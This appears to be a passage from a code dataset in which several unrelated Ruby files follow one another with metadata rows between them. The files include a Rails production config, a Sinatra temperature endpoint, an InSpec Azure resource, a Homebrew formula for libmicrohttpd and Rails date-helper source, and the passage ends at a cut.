# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment).
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "inventory_production"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Log disallowed deprecations.
config.active_support.disallowed_deprecation = :log
# Tell Active Support which deprecation messages to disallow.
config.active_support.disallowed_deprecation_warnings = []
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require "syslog/logger"
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
# Inserts middleware to perform automatic connection switching.
# The `database_selector` hash is used to pass options to the DatabaseSelector
# middleware. The `delay` is used to determine how long to wait after a write
# to send a subsequent read to the primary.
#
# The `database_resolver` class is used by the middleware to determine which
# database is appropriate to use based on the time delay.
#
# The `database_resolver_context` class is used by the middleware to set
# timestamps for the last write to the primary. The resolver uses the context
# class timestamps to determine how long to wait before reading from the
# replica.
#
# By default Rails will store a last write timestamp in the session. The
# DatabaseSelector middleware is designed as such you can define your own
# strategy for connection switching and pass that into the middleware through
# these configuration options.
# config.active_record.database_selector = { delay: 2.seconds }
# config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
# config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
end
| 44.099174 | 114 | 0.765367 |
62b4d30aaf017544b2af730f1e207721d61ecf1f | 1,234 | #
# Copyright David Lakatos
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'sinatra'
reference_temperature = ReferenceTemperature.new(273.15 + 25)
before '/temperature' do
unless session['is_authenticated']
halt 401, 'log in first'
end
end
# https://github.com/conoyes/hippeis#temperature
get '/temperature' do
{
'current' => Temperature.celsius_offset + 10 + ::Random.new.rand(10),
'current_celsius' => 10 + ::Random.new.rand(10),
'reference' => reference_temperature.getTemperature,
'reference_celsius' => reference_temperature.getTemperatureInCelsius
}.to_json
end
post '/temperature' do
body = JSON.parse(request.body.read)
reference_temperature.setTemperature = body['reference']
end | 30.85 | 74 | 0.745543 |
b977e86c25e12bafbf7bce7f43a64ae3236e3e25 | 558 |
module Publishable
extend ActiveSupport::Concern
class_methods do
def subscribe(event = :any)
event_name = event == :any ? /#{collection_name}/ : "#{collection_name}.#{event}"
ActiveSupport::Notifications.subscribe(event_name) do |_event_name, **payload|
yield payload
end
self
end
end
private
def publish(event)
event_name = "#{self.class.collection_name}.#{event}"
ActiveSupport::Notifications.publish(event_name, event: event, model: self)
end
end | 24.26087 | 89 | 0.62724 |
1dc21e3b8a0585e5710adde49bcc861f7a50b216 | 4,993 | require "resources/azure/azure_backend"
module Inspec::Resources
class AzureResourceGroup < AzureResourceBase
name "azure_resource_group"
desc '
InSpec Resource to get metadata about a specific Resource Group
'
supports platform: "azure"
attr_reader :name, :location, :id, :total, :counts, :mapping
# Constructor to get the resource group itself and perform some analysis on the
# resources that in the resource group.
#
# This analysis is defined by the the mapping hashtable which is used to define
# the 'has_xxx?' methods (see AzureResourceGroup#create_has_methods) and return
# the counts for each type
#
# @author Russell Seymour
def initialize(opts)
opts.key?(:name) ? opts[:group_name] = opts[:name] : false
# Ensure that the opts only have the name of the resource group set
opts.select! { |k, _v| k == :group_name }
super(opts)
# set the mapping for the Azure Resources
@mapping = {
nic: "Microsoft.Network/networkInterfaces",
vm: "Microsoft.Compute/virtualMachines",
extension: "Microsoft.Compute/virtualMachines/extensions",
nsg: "Microsoft.Network/networkSecurityGroups",
vnet: "Microsoft.Network/virtualNetworks",
managed_disk: "Microsoft.Compute/disks",
managed_disk_image: "Microsoft.Compute/images",
sa: "Microsoft.Storage/storageAccounts",
public_ip: "Microsoft.Network/publicIPAddresses",
}
# Get information about the resource group itself
resource_group
# Get information about the resources in the resource group
resources
# Call method to create the has_xxxx? methods
create_has_methods
# Call method to allow access to the tag values
create_tag_methods
end
# Return the provisioning state of the resource group
#
# @author Russell Seymour
def provisioning_state
properties.provisioningState
end
# Analyze the fully qualified id of the resource group to return the subscription id
# that this resource group is part of
#
# The format of the id is
# /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>
#
# @author Russell Seymour
def subscription_id
id.split(%r{\/}).reject(&:empty?)[1]
end
# Method to parse the resources that have been returned
# This allows the calculations of the amount of resources to be determined
#
# @author Russell Seymour
#
# @param [Hash] resource A hashtable representing the resource group
def parse_resource(resource)
# return a hash of information
parsed = {
"name" => resource.name,
"type" => resource.type,
}
parsed
end
# This method catches the xxx_count calls that are made on the resource.
#
# The method that is called is stripped of '_count' and then compared with the
# mappings table. If that type exists then the number of those items is returned.
# However if that type is not in the Resource Group then the method will return
# a NoMethodError exception
#
# @author Russell Seymour
#
# @param [Symbol] method_id The name of the method that was called
def method_missing(method_id)
# Determine the mapping_key based on the method_id
mapping_key = method_id.to_s.chomp("_count").to_sym
if mapping.key?(mapping_key)
# based on the method id get the
namespace, type_name = mapping[mapping_key].split(/\./)
# check that the type_name is defined, if not return 0
if send(namespace).methods.include?(type_name.to_sym)
# return the count for the method id
send(namespace).send(type_name)
else
0
end
else
msg = format("undefined method `%s` for %s", method_id, self.class)
raise NoMethodError, msg
end
end
private
# For each of the mappings this method creates the has_xxx? method. This allows the use
# of the following type of test
#
# it { should have_nics }
#
# For example, it will create a has_nics? method that returns a boolean to state of the
# resource group has any nics at all.
#
# @author Russell Seymour
# @private
def create_has_methods
return if failed_resource?
# Create the has methods for each of the mappings
# This is a quick test to show that the resource group has at least one of these things
mapping.each do |name, type|
# Determine the name of the method name
method_name = format("has_%ss?", name)
namespace, type_name = type.split(/\./)
# use the namespace and the type_name to determine if the resource group has this type or not
result = send(namespace).methods.include?(type_name.to_sym) ? true : false
define_singleton_method method_name do
result
end
end
end
end
end
| 33.066225 | 101 | 0.667535 |
f8a33f7bf57c22b71eb09abd068fe44409dffa8b | 98 | # frozen_string_literal: true
describe "Suite" do
it "spec", allure: "some_label" do
end
end
| 14 | 36 | 0.714286 |
f88eac1a538e6de7893e24275919fa6e60678dc8 | 473 | require 'fastlane/plugin/yalantis_ci/version'
module Fastlane
module YalantisCi
# Return all .rb files inside the "actions" and "helper" directory
def self.all_classes
Dir[File.expand_path('**/{actions,helper}/*.rb', File.dirname(__FILE__))]
end
end
end
# By default we want to import all available actions and helpers
# A plugin can contain any number of actions and plugins
Fastlane::YalantisCi.all_classes.each do |current|
require current
end
| 27.823529 | 79 | 0.748414 |
9112a6764db6fba2cbcdf2b21dfa0ab181f8f87f | 1,359 | class Libmicrohttpd < Formula
desc "Light HTTP/1.1 server library"
homepage "https://www.gnu.org/software/libmicrohttpd/"
url "https://ftpmirror.gnu.org/libmicrohttpd/libmicrohttpd-0.9.53.tar.gz"
mirror "https://ftp.gnu.org/gnu/libmicrohttpd/libmicrohttpd-0.9.53.tar.gz"
sha256 "9b15ec2d381f44936323adfd4f989fa35add517cccbbfa581896b02a393c2cc4"
bottle do
cellar :any
sha256 "7154e2f62155293ceeeb8ad059747e9e63d3ede14883fa95e4f0a509947ccf7c" => :sierra
sha256 "ad773ae2fb74c77a33d76bb5f5dc6c25e65ce4bb3ae9c1d52488ec00de54a63d" => :el_capitan
sha256 "e690c0741c566325dcf63ae6265bc1bad010992dc61e0acb824573dc3d5d3f63" => :yosemite
end
option "with-ssl", "Enable SSL support"
if build.with? "ssl"
depends_on "libgcrypt"
depends_on "gnutls"
end
def install
system "./configure", "--disable-dependency-tracking",
"--disable-silent-rules",
"--prefix=#{prefix}"
system "make", "install"
pkgshare.install "doc/examples"
end
test do
cp pkgshare/"examples/simplepost.c", testpath
inreplace "simplepost.c",
"return 0",
"printf(\"daemon %p\", daemon) ; return 0"
system ENV.cc, "-o", "foo", "simplepost.c", "-I#{include}", "-L#{lib}", "-lmicrohttpd"
assert_match /daemon 0x[0-9a-f]+[1-9a-f]+/, pipe_output("./foo")
end
end
| 34.846154 | 92 | 0.688742 |
339d582f7600ebb25f7ef4b4e7c63c35e466ddf1 | 59,777 | # frozen_string_literal: true
require "date"
require_relative "tag_helper"
require "active_support/core_ext/array/extract_options"
require "active_support/core_ext/date/conversions"
require "active_support/core_ext/hash/slice"
require "active_support/core_ext/object/acts_like"
require "active_support/core_ext/object/with_options"
module ActionView
module Helpers
# = Action View Date Helpers
#
# The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
# elements. All of the select-type methods share a number of common options that are as follows:
#
# * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
# would give \birthday[month] instead of \date[month] if passed to the <tt>select_month</tt> method.
# * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
# * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
# the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
# of \date[month].
module DateHelper
MINUTES_IN_YEAR = 525600
MINUTES_IN_QUARTER_YEAR = 131400
MINUTES_IN_THREE_QUARTERS_YEAR = 394200
# Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
# Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
# Distances are reported based on the following table:
#
# 0 <-> 29 secs # => less than a minute
# 30 secs <-> 1 min, 29 secs # => 1 minute
# 1 min, 30 secs <-> 44 mins, 29 secs # => [2..44] minutes
# 44 mins, 30 secs <-> 89 mins, 29 secs # => about 1 hour
# 89 mins, 30 secs <-> 23 hrs, 59 mins, 29 secs # => about [2..24] hours
# 23 hrs, 59 mins, 30 secs <-> 41 hrs, 59 mins, 29 secs # => 1 day
# 41 hrs, 59 mins, 30 secs <-> 29 days, 23 hrs, 59 mins, 29 secs # => [2..29] days
# 29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs # => about 1 month
# 44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs # => about 2 months
# 59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec # => [2..12] months
# 1 yr <-> 1 yr, 3 months # => about 1 year
# 1 yr, 3 months <-> 1 yr, 9 months # => over 1 year
# 1 yr, 9 months <-> 2 yr minus 1 sec # => almost 2 years
# 2 yrs <-> max time or date # => (same rules as 1 yr)
#
# With <tt>include_seconds: true</tt> and the difference < 1 minute 29 seconds:
# 0-4 secs # => less than 5 seconds
# 5-9 secs # => less than 10 seconds
# 10-19 secs # => less than 20 seconds
# 20-39 secs # => half a minute
# 40-59 secs # => less than a minute
# 60-89 secs # => 1 minute
#
# from_time = Time.now
# distance_of_time_in_words(from_time, from_time + 50.minutes) # => about 1 hour
# distance_of_time_in_words(from_time, 50.minutes.from_now) # => about 1 hour
# distance_of_time_in_words(from_time, from_time + 15.seconds) # => less than a minute
# distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true) # => less than 20 seconds
# distance_of_time_in_words(from_time, 3.years.from_now) # => about 3 years
# distance_of_time_in_words(from_time, from_time + 60.hours) # => 3 days
# distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true) # => less than a minute
# distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true) # => less than a minute
# distance_of_time_in_words(from_time, 76.seconds.from_now) # => 1 minute
# distance_of_time_in_words(from_time, from_time + 1.year + 3.days) # => about 1 year
# distance_of_time_in_words(from_time, from_time + 3.years + 6.months) # => over 3 years
# distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
#
# to_time = Time.now + 6.years + 19.days
# distance_of_time_in_words(from_time, to_time, include_seconds: true) # => about 6 years
# distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years
# distance_of_time_in_words(Time.now, Time.now) # => less than a minute
#
# With the <tt>scope</tt> option, you can define a custom scope for Rails
# to look up the translation.
#
# For example you can define the following in your locale (e.g. en.yml).
#
# datetime:
# distance_in_words:
# short:
# about_x_hours:
# one: 'an hour'
# other: '%{count} hours'
#
# See https://github.com/svenfuchs/rails-i18n/blob/master/rails/locale/en.yml
# for more examples.
#
# Which will then result in the following:
#
# from_time = Time.now
# distance_of_time_in_words(from_time, from_time + 50.minutes, scope: 'datetime.distance_in_words.short') # => "an hour"
# distance_of_time_in_words(from_time, from_time + 3.hours, scope: 'datetime.distance_in_words.short') # => "3 hours"
def distance_of_time_in_words(from_time, to_time = 0, options = {})
options = {
scope: :'datetime.distance_in_words'
}.merge!(options)
from_time = normalize_distance_of_time_argument_to_time(from_time)
to_time = normalize_distance_of_time_argument_to_time(to_time)
from_time, to_time = to_time, from_time if from_time > to_time
distance_in_minutes = ((to_time - from_time) / 60.0).round
distance_in_seconds = (to_time - from_time).round
I18n.with_options locale: options[:locale], scope: options[:scope] do |locale|
case distance_in_minutes
when 0..1
return distance_in_minutes == 0 ?
locale.t(:less_than_x_minutes, count: 1) :
locale.t(:x_minutes, count: distance_in_minutes) unless options[:include_seconds]
case distance_in_seconds
when 0..4 then locale.t :less_than_x_seconds, count: 5
when 5..9 then locale.t :less_than_x_seconds, count: 10
when 10..19 then locale.t :less_than_x_seconds, count: 20
when 20..39 then locale.t :half_a_minute
when 40..59 then locale.t :less_than_x_minutes, count: 1
else locale.t :x_minutes, count: 1
end
when 2...45 then locale.t :x_minutes, count: distance_in_minutes
when 45...90 then locale.t :about_x_hours, count: 1
# 90 mins up to 24 hours
when 90...1440 then locale.t :about_x_hours, count: (distance_in_minutes.to_f / 60.0).round
# 24 hours up to 42 hours
when 1440...2520 then locale.t :x_days, count: 1
# 42 hours up to 30 days
when 2520...43200 then locale.t :x_days, count: (distance_in_minutes.to_f / 1440.0).round
# 30 days up to 60 days
when 43200...86400 then locale.t :about_x_months, count: (distance_in_minutes.to_f / 43200.0).round
# 60 days up to 365 days
when 86400...525600 then locale.t :x_months, count: (distance_in_minutes.to_f / 43200.0).round
else
from_year = from_time.year
from_year += 1 if from_time.month >= 3
to_year = to_time.year
to_year -= 1 if to_time.month < 3
leap_years = (from_year > to_year) ? 0 : (from_year..to_year).count { |x| Date.leap?(x) }
minute_offset_for_leap_year = leap_years * 1440
# Discount the leap year days when calculating year distance.
# e.g. if there are 20 leap year days between 2 dates having the same day
# and month then the based on 365 days calculation
# the distance in years will come out to over 80 years when in written
# English it would read better as about 80 years.
minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
remainder = (minutes_with_offset % MINUTES_IN_YEAR)
distance_in_years = (minutes_with_offset.div MINUTES_IN_YEAR)
if remainder < MINUTES_IN_QUARTER_YEAR
locale.t(:about_x_years, count: distance_in_years)
elsif remainder < MINUTES_IN_THREE_QUARTERS_YEAR
locale.t(:over_x_years, count: distance_in_years)
else
locale.t(:almost_x_years, count: distance_in_years + 1)
end
end
end
end
# Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
#
# time_ago_in_words(3.minutes.from_now) # => 3 minutes
# time_ago_in_words(3.minutes.ago) # => 3 minutes
# time_ago_in_words(Time.now - 15.hours) # => about 15 hours
# time_ago_in_words(Time.now) # => less than a minute
# time_ago_in_words(Time.now, include_seconds: true) # => less than 5 seconds
#
# from_time = Time.now - 3.days - 14.minutes - 25.seconds
# time_ago_in_words(from_time) # => 3 days
#
# from_time = (3.days + 14.minutes + 25.seconds).ago
# time_ago_in_words(from_time) # => 3 days
#
# Note that you cannot pass a <tt>Numeric</tt> value to <tt>time_ago_in_words</tt>.
#
def time_ago_in_words(from_time, options = {})
distance_of_time_in_words(from_time, Time.now, options)
end
alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
# Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
# attribute (identified by +method+) on an object assigned to the template (identified by +object+).
#
# ==== Options
# * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
# "2" instead of "February").
# * <tt>:use_two_digit_numbers</tt> - Set to true if you want to display two digit month and day numbers (e.g.
# "02" instead of "February" and "08" instead of "8").
# * <tt>:use_short_month</tt> - Set to true if you want to use abbreviated month names instead of full
# month names (e.g. "Feb" instead of "February").
# * <tt>:add_month_numbers</tt> - Set to true if you want to use both month numbers and month names (e.g.
# "2 - February" instead of "February").
# * <tt>:use_month_names</tt> - Set to an array with 12 month names if you want to customize month names.
# Note: You can also use Rails' i18n functionality for this.
# * <tt>:month_format_string</tt> - Set to a format string. The string gets passed keys +:number+ (integer)
# and +:name+ (string). A format string would be something like "%{name} (%<number>02d)" for example.
# See <tt>Kernel.sprintf</tt> for documentation on format sequences.
# * <tt>:date_separator</tt> - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
# * <tt>:time_separator</tt> - Specifies a string to separate the time fields. Default is "" (i.e. nothing).
# * <tt>:datetime_separator</tt>- Specifies a string to separate the date and time fields. Default is "" (i.e. nothing).
# * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Date.today.year - 5</tt> if
# you are creating new record. While editing existing record, <tt>:start_year</tt> defaults to
# the current selected year minus 5.
# * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Date.today.year + 5</tt> if
# you are creating new record. While editing existing record, <tt>:end_year</tt> defaults to
# the current selected year plus 5.
# * <tt>:discard_day</tt> - Set to true if you don't want to show a day select. This includes the day
# as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
# first of the given month in order to not create invalid dates like 31 February.
# * <tt>:discard_month</tt> - Set to true if you don't want to show a month select. This includes the month
# as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
# * <tt>:discard_year</tt> - Set to true if you don't want to show a year select. This includes the year
# as a hidden field instead of showing a select field.
# * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
# customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
# select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
# the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
# * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty
# dates.
# * <tt>:default</tt> - Set a default date if the affected date isn't set or is +nil+.
# * <tt>:selected</tt> - Set a date that overrides the actual value.
# * <tt>:disabled</tt> - Set to true if you want show the select fields as disabled.
# * <tt>:prompt</tt> - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
# for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
# Setting this option prepends a select option with a generic prompt (Day, Month, Year, Hour, Minute, Seconds)
# or the given prompt string.
# * <tt>:with_css_classes</tt> - Set to true or a hash of strings. Use true if you want to assign generic styles for
# select tags. This automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second'. A hash of
# strings for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt>, <tt>:second</tt>
# will extend the select type with the given value. Use +html_options+ to modify every select tag in the set.
# * <tt>:use_hidden</tt> - Set to true if you only want to generate hidden input tags.
#
# If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
#
# NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
#
# # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute.
# date_select("article", "written_on")
#
# # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
# # with the year in the year drop down box starting at 1995.
# date_select("article", "written_on", start_year: 1995)
#
# # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
# # with the year in the year drop down box starting at 1995, numbers used for months instead of words,
# # and without a day select box.
# date_select("article", "written_on", start_year: 1995, use_month_numbers: true,
# discard_day: true, include_blank: true)
#
# # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
# # with two digit numbers used for months and days.
# date_select("article", "written_on", use_two_digit_numbers: true)
#
# # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
# # with the fields ordered as day, month, year rather than month, day, year.
# date_select("article", "written_on", order: [:day, :month, :year])
#
# # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
# # lacking a year field.
# date_select("user", "birthday", order: [:month, :day])
#
# # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
# # which is initially set to the date 3 days from the current date
# date_select("article", "written_on", default: 3.days.from_now)
#
# # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
# # which is set in the form with today's date, regardless of the value in the Active Record object.
# date_select("article", "written_on", selected: Date.today)
#
# # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
# # that will have a default day of 20.
# date_select("credit_card", "bill_due", default: { day: 20 })
#
# # Generates a date select with custom prompts.
# date_select("article", "written_on", prompt: { day: 'Select day', month: 'Select month', year: 'Select year' })
#
# The selects are prepared for multi-parameter assignment to an Active Record object.
#
# Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
# all month choices are valid.
def date_select(object_name, method, options = {}, html_options = {})
Tags::DateSelect.new(object_name, method, self, options, html_options).render
end
# Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
# specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
# +object+). You can include the seconds with <tt>:include_seconds</tt>. You can get hours in the AM/PM format
# with <tt>:ampm</tt> option.
#
# This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
# <tt>:ignore_date</tt> is set to +true+. If you set the <tt>:ignore_date</tt> to +true+, you must have a
# +date_select+ on the same method within the form otherwise an exception will be raised.
#
# If anything is passed in the html_options hash it will be applied to every select tag in the set.
#
# # Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute.
# time_select("article", "sunrise")
#
# # Creates a time select tag with a seconds field that, when POSTed, will be stored in the article variables in
# # the sunrise attribute.
# time_select("article", "start_time", include_seconds: true)
#
# # You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30, and 45.
# time_select 'game', 'game_time', {minute_step: 15}
#
# # Creates a time select tag with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
# time_select("article", "written_on", prompt: {hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds'})
# time_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
# time_select("article", "written_on", prompt: true) # generic prompts for all
#
# # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
# time_select 'game', 'game_time', {ampm: true}
#
# The selects are prepared for multi-parameter assignment to an Active Record object.
#
# Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
# all month choices are valid.
def time_select(object_name, method, options = {}, html_options = {})
Tags::TimeSelect.new(object_name, method, self, options, html_options).render
end
# Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
# specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified
# by +object+).
#
# If anything is passed in the html_options hash it will be applied to every select tag in the set.
#
# # Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on
# # attribute.
# datetime_select("article", "written_on")
#
# # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
# # article variable in the written_on attribute.
# datetime_select("article", "written_on", start_year: 1995)
#
# # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
# # be stored in the trip variable in the departing attribute.
# datetime_select("trip", "departing", default: 3.days.from_now)
#
# # Generate a datetime select with hours in the AM/PM format
# datetime_select("article", "written_on", ampm: true)
#
# # Generates a datetime select that discards the type that, when POSTed, will be stored in the article variable
# # as the written_on attribute.
# datetime_select("article", "written_on", discard_type: true)
#
# # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
# datetime_select("article", "written_on", prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
# datetime_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
# datetime_select("article", "written_on", prompt: true) # generic prompts for all
#
# The selects are prepared for multi-parameter assignment to an Active Record object.
def datetime_select(object_name, method, options = {}, html_options = {})
Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render
end
# Returns a set of HTML select-tags (one for year, month, day, hour, minute, and second) pre-selected with the
# +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
# an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
# supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
# <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to
# control visual display of the elements.
#
# If anything is passed in the html_options hash it will be applied to every select tag in the set.
#
# my_date_time = Time.now + 4.days
#
# # Generates a datetime select that defaults to the datetime in my_date_time (four days after today).
# select_datetime(my_date_time)
#
# # Generates a datetime select that defaults to today (no specified datetime)
# select_datetime()
#
# # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
# # with the fields ordered year, month, day rather than month, day, year.
# select_datetime(my_date_time, order: [:year, :month, :day])
#
# # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
# # with a '/' between each date field.
# select_datetime(my_date_time, date_separator: '/')
#
# # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
# # with a date fields separated by '/', time fields separated by '' and the date and time fields
# # separated by a comma (',').
# select_datetime(my_date_time, date_separator: '/', time_separator: '', datetime_separator: ',')
#
# # Generates a datetime select that discards the type of the field and defaults to the datetime in
# # my_date_time (four days after today)
# select_datetime(my_date_time, discard_type: true)
#
# # Generate a datetime field with hours in the AM/PM format
# select_datetime(my_date_time, ampm: true)
#
# # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
# # prefixed with 'payday' rather than 'date'
# select_datetime(my_date_time, prefix: 'payday')
#
# # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
# select_datetime(my_date_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
# select_datetime(my_date_time, prompt: {hour: true}) # generic prompt for hours
# select_datetime(my_date_time, prompt: true) # generic prompts for all
def select_datetime(datetime = Time.current, options = {}, html_options = {})
DateTimeSelector.new(datetime, options, html_options).select_datetime
end
# Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the +date+.
# It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
# symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order.
# If the array passed to the <tt>:order</tt> option does not contain all the three symbols, all tags will be hidden.
#
# If anything is passed in the html_options hash it will be applied to every select tag in the set.
#
# my_date = Time.now + 6.days
#
# # Generates a date select that defaults to the date in my_date (six days after today).
# select_date(my_date)
#
# # Generates a date select that defaults to today (no specified date).
# select_date()
#
# # Generates a date select that defaults to the date in my_date (six days after today)
# # with the fields ordered year, month, day rather than month, day, year.
# select_date(my_date, order: [:year, :month, :day])
#
# # Generates a date select that discards the type of the field and defaults to the date in
# # my_date (six days after today).
# select_date(my_date, discard_type: true)
#
# # Generates a date select that defaults to the date in my_date,
# # which has fields separated by '/'.
# select_date(my_date, date_separator: '/')
#
# # Generates a date select that defaults to the datetime in my_date (six days after today)
# # prefixed with 'payday' rather than 'date'.
# select_date(my_date, prefix: 'payday')
#
# # Generates a date select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
# select_date(my_date, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
# select_date(my_date, prompt: {hour: true}) # generic prompt for hours
# select_date(my_date, prompt: true) # generic prompts for all
def select_date(date = Date.current, options = {}, html_options = {})
DateTimeSelector.new(date, options, html_options).select_date
end
# Returns a set of HTML select-tags (one for hour and minute).
# You can set <tt>:time_separator</tt> key to format the output, and
# the <tt>:include_seconds</tt> option to include an input for seconds.
#
# If anything is passed in the html_options hash it will be applied to every select tag in the set.
#
# my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
#
# # Generates a time select that defaults to the time in my_time.
# select_time(my_time)
#
# # Generates a time select that defaults to the current time (no specified time).
# select_time()
#
# # Generates a time select that defaults to the time in my_time,
# # which has fields separated by ':'.
# select_time(my_time, time_separator: ':')
#
# # Generates a time select that defaults to the time in my_time,
# # that also includes an input for seconds.
# select_time(my_time, include_seconds: true)
#
# # Generates a time select that defaults to the time in my_time, that has fields
# # separated by ':' and includes an input for seconds.
# select_time(my_time, time_separator: ':', include_seconds: true)
#
# # Generate a time select field with hours in the AM/PM format
# select_time(my_time, ampm: true)
#
# # Generates a time select field with hours that range from 2 to 14
# select_time(my_time, start_hour: 2, end_hour: 14)
#
# # Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts.
# select_time(my_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
# select_time(my_time, prompt: {hour: true}) # generic prompt for hours
# select_time(my_time, prompt: true) # generic prompts for all
def select_time(datetime = Time.current, options = {}, html_options = {})
DateTimeSelector.new(datetime, options, html_options).select_time
end
# Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
